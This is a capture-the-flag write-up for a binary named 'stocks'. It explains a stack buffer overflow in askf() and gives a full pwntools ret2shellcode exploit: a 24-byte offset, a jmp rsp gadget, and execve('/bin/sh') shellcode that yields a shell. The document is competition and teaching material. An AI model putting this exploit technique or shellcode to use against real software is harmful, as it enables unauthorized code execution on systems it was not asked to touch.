$ checksec --file=stocks
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)The binary has Partial RELRO, no stack canary, NX disabled, and no PIE, allowing us to overwrite the return address, execute shellcode directly on the stack, and use fixed binary addresses without needing a PIE leak.
After decompiling the binary, we find that main() eventually calls the following function:
float askf(char *prompt)
{
printf("%s (0.0-100.0): ", prompt);
char buf[0x10];
fgets(buf, 0x100, stdin);
return atof(buf);
}buf is only 16 bytes long, but fgets is allowed to read up to 0x100 (256) bytes into it.
This creates a classic stack-based buffer overflow, we can write far beyond the buffer's boundaries and overwrite the saved return address, giving us control over the program's execution flow.
The author even provides a convenient jump point at the bottom of the source:
void gadget()
{
__asm__("jmp %rsp; ret;");
}This gives us a dedicated jmp rsp gadget, which redirects execution to the address currently stored in RSP. Since our payload is placed on the stack, this is exactly what we need to jump straight into it and execute our shellcode.
The exploitation plan is a straightforward NX-disabled ret2shellcode:
1 . Overflow buf and overwrite the saved return address with the address of the jmp rsp gadget.
2 . When askf() returns, execution jumps to jmp rsp, which redirects execution to the stack immediately after the overwritten return address.
3 . Place execve("/bin/sh") shellcode there and obtain a shell.
We can calculate the required offset directly from the askf disassembly:
4011aa: sub rsp, 0x20
4011cf: lea rax, [rbp-0x10] ; buf = rbp-0x10Since buf starts at rbp-0x10, the saved RBP is at rbp, and the saved return address is at rbp+8, the distance to the return address is:
0x10 + 8 = 24 bytesSo our payload begins with 24 bytes of padding, followed by the jmp rsp address.
The gadget itself is located at:
401597: ff e4 jmp rspfrom pwn import *
context.arch = 'amd64'
p = process("./stocks")
OFFSET = 24
JMP_RSP = 0x401597
shellcode = bytes.fromhex("4831f65648bf2f62696e2f2f736857545f6a3b58990f05")
payload = b"A" * OFFSET + p64(JMP_RSP) + shellcode
p.sendlineafter(b": ", payload)
p.interactive()brunner{REDACTED}